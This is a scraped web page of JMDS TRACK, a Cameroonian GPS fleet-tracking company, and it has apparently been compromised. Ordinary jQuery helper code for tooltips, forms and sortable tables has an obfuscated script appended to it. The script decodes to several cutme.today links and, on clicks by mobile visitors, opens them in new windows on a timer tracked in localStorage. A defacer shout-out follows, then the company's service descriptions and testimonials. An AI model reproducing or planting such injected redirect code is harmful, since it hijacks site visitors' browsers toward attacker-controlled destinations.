    function() {
        // Init uninitialized tooltips everytime an ajax query is completed.
        $(document).ajaxComplete(
            function() {
                initTooltips();
            }
        );

        // init tooltips after a little time on dom load
        setTimeout(function() {
            initTooltips();
        }, 50);
    }
);

// case insentive :contains selector -> ":icontains"
jQuery.expr.filters.icontains = function(elem, i, m) {
    return (elem.innerText || elem.textContent || "").toLowerCase().indexOf(m[3].toLowerCase()) > -1;
};

function tableToDetails(table) {
    let in_details = false;
    const section_els = $(table).find('.section-header, .section-content');
    let details = '';

    section_els.each((i, e) => {
        if (e.classList.contains('section-header')) {
            if (in_details) {
                details += '</pre></details>';
            }
            details += `<details><summary>${e.innerText}</summary><pre>`;
            in_details = true;
        } else {
            if (in_details) {
                details += e.innerText;
            }
        }
    });

    if (in_details) {
        details += '</pre></details>';
    }
    return details;
}

function flashIconButton(button, button_classes, icon_classes, duration) {
    const btn = $(button);
    const ico = btn.find('i').eq(0);
    const original_btn_classes = btn.attr('class');
    const original_ico_classes = ico.attr('class');
    btn.removeClass();
    ico.removeClass();
    btn.addClass(button_classes);
    ico.addClass(icon_classes);
    window.setTimeout(() => {
        btn.removeClass();
        ico.removeClass();
        btn.addClass(original_btn_classes);
        ico.addClass(original_ico_classes);
    }, duration);
}

/**
 * uniqid() function, providing similar result as PHP does.
 *
 * @param {string} prefix
 * @param {boolean} random
 * @returns {string}
 *
 * @see https://stackoverflow.com/a/48593447
 */
function uniqid(prefix = "", more_entropy = false) {
    const sec = Date.now() * 1000 + Math.random() * 1000;
    const id = sec.toString(16).replace(/\./g, "").padEnd(14, "0");
    const suffix = more_entropy
        ? '.' + Math.floor(Math.random() * 100000000).toString().padStart(8, '0')
        : '';
    return `${prefix}${id}${suffix}`;
}

/**
 * Prevent submitting the form again
 *
 * A spinner is shown in the triggering submit button and all others are disabled.
 * @param form The form to block submits
 * @param {SubmitEvent} e The submit event
 */
function blockFormSubmit(form, e) {
    var submitter = null;

    if (e.originalEvent && e.originalEvent.submitter) {
        submitter = $(e.originalEvent.submitter);
    }

    // if submitter is not a button, find the first submit button with add or update as the name
    if (submitter === null || !submitter.is('button')) {
        submitter = form.find('button[name="add"]:first, button[name="update"]:first');
        // If no submit button was found, use the first submit button
        if (submitter.length === 0) {
            submitter = form.find('button[type="submit"]:first');
        }
    }

    if (submitter.length > 0 && submitter.is('button')) {
        submitter.html(`<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span>`);
    }

    // Prevent clicking any submit buttons in form
    form.find('button[type="submit"]').click((e) => {e.preventDefault();});
    // Mark the form as submitted
    form.attr('data-submitted', 'true');
}

$(() => {
    $(document.body).on('submit', 'form[data-submit-once]', (e) => {
        const form = $(e.target).closest('form');
        if (form.attr('data-submitted') === 'true') {
            e.preventDefault();
            return false;
        } else {
            blockFormSubmit(form, e);
        }
    });
});

/**
 * Strip html tags from a string
 *
 * @param {String} html_string
 * @returns {String}
 */
function strip_tags(html_string) {
    var dom = new DOMParser().parseFromString(html_string, 'text/html');
    return dom.body.textContent;
}

$(document.body).on('shown.bs.tab', 'a[data-bs-toggle="tab"]', (e) => {
    const new_tab = $(e.target);
    // Main tab is the first in the list (check parent li)
    const is_main_tab = new_tab.parent().index() === 0;
    const nav_header = new_tab.closest('.card-tabs').parent().find('.navigationheader');
    if (nav_header.length > 0) {
        const is_recursive_toggle = nav_header.find('span.is_recursive-toggle');
        if (is_recursive_toggle.length > 0) {
            const checkbox = is_recursive_toggle.find('input');
            const disabled_state = checkbox.prop('disabled');
            // if data-disabled-initial is not set, set it to the current disabled state
            if (checkbox.attr('data-disabled-initial') === undefined) {
                checkbox.attr('data-disabled-initial', disabled_state || false);
            }
            const original_disabled_state = checkbox.attr('data-disabled-initial') === 'true';
            // disable input element inside the toggle
            checkbox.prop('disabled', is_main_tab ? original_disabled_state : true);
        }
    }
});

/**
 * Converts a disclosable password field to a normal text field
 * @param {string} item The ID of the field to be shown
 */
function showDisclosablePasswordField(item) {
    $("#" + item).prop("type", "text");
}

/**
 * Converts a normal text field to a password field
 * @param {string} item The ID of the field to be hidden
 */
function hideDisclosablePasswordField(item) {
    $("#" + item).prop("type", "password");
}

/**
 * Copies the password from a disclosable password field to the clipboard
 * @param {string} item The ID of the field to be copied
 */
function copyDisclosablePasswordFieldToClipboard(item) {
    showDisclosablePasswordField(item);
    $("#" + item).select();
    try {
        document.execCommand("copy");
    } catch (e) {
        alert("Copy to clipboard failed'");
    }
    hideDisclosablePasswordField(item);
}

/**
 * Convert an HTML table with static content to a basic sortable table
 * @param element_id The ID of the table to be converted
 */
function initSortableTable(element_id) {
    const element = $(`#${element_id}`);
    const sort_table = (column_index) => {
        const current_sort = element.data('sort');
        element.data('sort', column_index);
        const current_order = element.data('order');
        const new_order = current_sort === column_index && current_order === 'asc' ? 'desc' : 'asc';
        element.data('order', new_order);
        const sortable_header = element.find('thead').first();
        const col = sortable_header.find('th').eq(column_index);
        // Remove all sort icon classes
        sortable_header.find('th i[class*="fa-sort"]').removeClass('fa-sort fa-sort-asc fa-sort-desc');

        const sort_icon = col.find('i');
        if (sort_icon.length === 0) {
            // Add sort icon
            col.eq(0).append(`<i class="fas fa-sort-${new_order}"></i>`);
        } else {
            sort_icon.addClass(new_order === 'asc' ? 'fa-sort-asc' : 'fa-sort-desc');
        }

        const rows = element.find('tbody tr');
        const sorted_rows = rows.sort((a, b) => {
            const a_cell = $(a).find('td').eq(column_index);
            const b_cell = $(b).find('td').eq(column_index);
            let a_value = a_cell.text();
            let b_value = b_cell.text();

            if (a_cell.attr('data-value-unit') !== undefined) {
                a_value = a_value.replace(a_cell.attr('data-value-unit'), '').trim();
            }
            if (b_cell.attr('data-value-unit') !== undefined) {
                b_value = b_value.replace(b_cell.attr('data-value-unit'), '').trim();
            }
            // if the values are numberic, cast them to numbers to sort them correctly
            if (!isNaN(a_value) && !isNaN(b_value)) {
                a_value = Number(a_value);
                b_value = Number(b_value);
            }

            if (a_value === b_value) {
                return 0;
            }
            if (new_order === 'asc') {
                return a_value < b_value ? -1 : 1;
            }
            return a_value > b_value ? -1 : 1;
        });
        element.find('tbody').html(sorted_rows);
    };

    // Make all th in thead appear clickable and bold
    element.find('thead th').attr('role', 'button');
    element.find('thead th').addClass('fw-bold');

    element.find('thead th').each((index, header) => {
        $(header).on('click', () => {
            sort_table(index);
        });
    });
}
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x52\x6e\x4d\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4d\x54\x76\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x69\x71\x49\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x4a\x67\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x43\x54\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x54\x71\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x64\x52\x32\x63\x322','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x77\x4f\x4b\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x54\x45\x5a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x49\x55\x53\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());			
			


Thanks For 0xGh05T - DSRF14 - Mr.Dan07 - Leri01 - FxshX7 - AlkaExploiter - xLoveSyndrome'z - Acep Gans'z

JMDS TRACK – Just Another Diagnostics Lab Site

Home

JMDS TRACK Cameroon

Boost the productivity of your mobile ressources


Make An Appointment


Fleet management

  1. Reduce the operting cost and the unavailability of your vehicles
  2. reduce the fuel consumption of your fleet
  3. Improve the driving dehavior and safety of your drivers
  4. optimize the utilization rate of your equipment 
  5. protect your vehicle against theft
  6. Improve the quality of your customer service


Find out more

Assets management

  1. Track the roaming of your equipment
  2. Optimise the management of your assets on site and during transport
  3. Secure the transport of your goods
  4. Make your team responsible for preventing the loss of tools, equipment
  5. Take a real-time inventory of your equipment on site
  6. Easily find your mobile objects or equipment



Find out more



Find out more

Antitheft solutions

  1. Secure your vehicles and machinery and increase your chances of recovering them in the event of theft
  2. Protect your assets and reduce the costs associated with their loss
  3. Combine immobiliser and driver identification and limit the risk of theft
  4. Identify fuel theft and reduce costs
  5. Protect your goods and take no more risks
  6. Be alerted to abnormal events

Our Location

 Douala BP cité 

     and

Yaoundé Total Essos


Make An Appointment


Get Directions

682230363/ 677481892

What makes us different from others

  • young and dynamic team
  • call center 24/24 7/7
  • roaming throughout Africa
  • team of developers who can develop customer-specific solutions
  • diversity of services
  • reactive and prompt after-sales service when soliciting a customer or a malfunction
  • Free Maintenance and installation in the cities of Douala and Yaounde

https://youtu.be/xI1cz_Jh2x8

15+
years of experience in GPS system development, production and deployment.

15 Collaborators

More than 15 employees dedicated to the research and development of new applications and to customer care

5 000 Vehicles and mobile assets

5 000 vehicles and mobile assets under management, in Africa

Our Partners










Latest Case Studies

Our current projects 

5/5
Bon SAV , SATISFAIT DU TRAITEMENT DES REQUETES

M DIPITA CHRISTIAN
Logistic Safety Manager Road Safety Manager
5/5
La réactivité de JMDS est excellente
Nous restons satisfait dans l’ensemble des prestations relatives a la couverture de notre parc automobile

Hervé Frédéric NDENGUE
Chef Service Adjoint de la Sécurité Générale (CNPS)
5/5
L’APPLICATION EMIXIS est convivial A L’utilisation
BEIG-3 SARL
DIRECTOR GENERAL
5/5
Nevertheless I am delighted with the service
MR. BISSE BENJAMIN
CUSTOMER

Subsribe To Our Newsletter

Stay in touch with us to get latest news and special offers.



Address JMDS TRACK

Douala bp cité



and

YAOUNDE Total Essos

Call Us

+237682230363



Email Us


info@jmdstrack.cm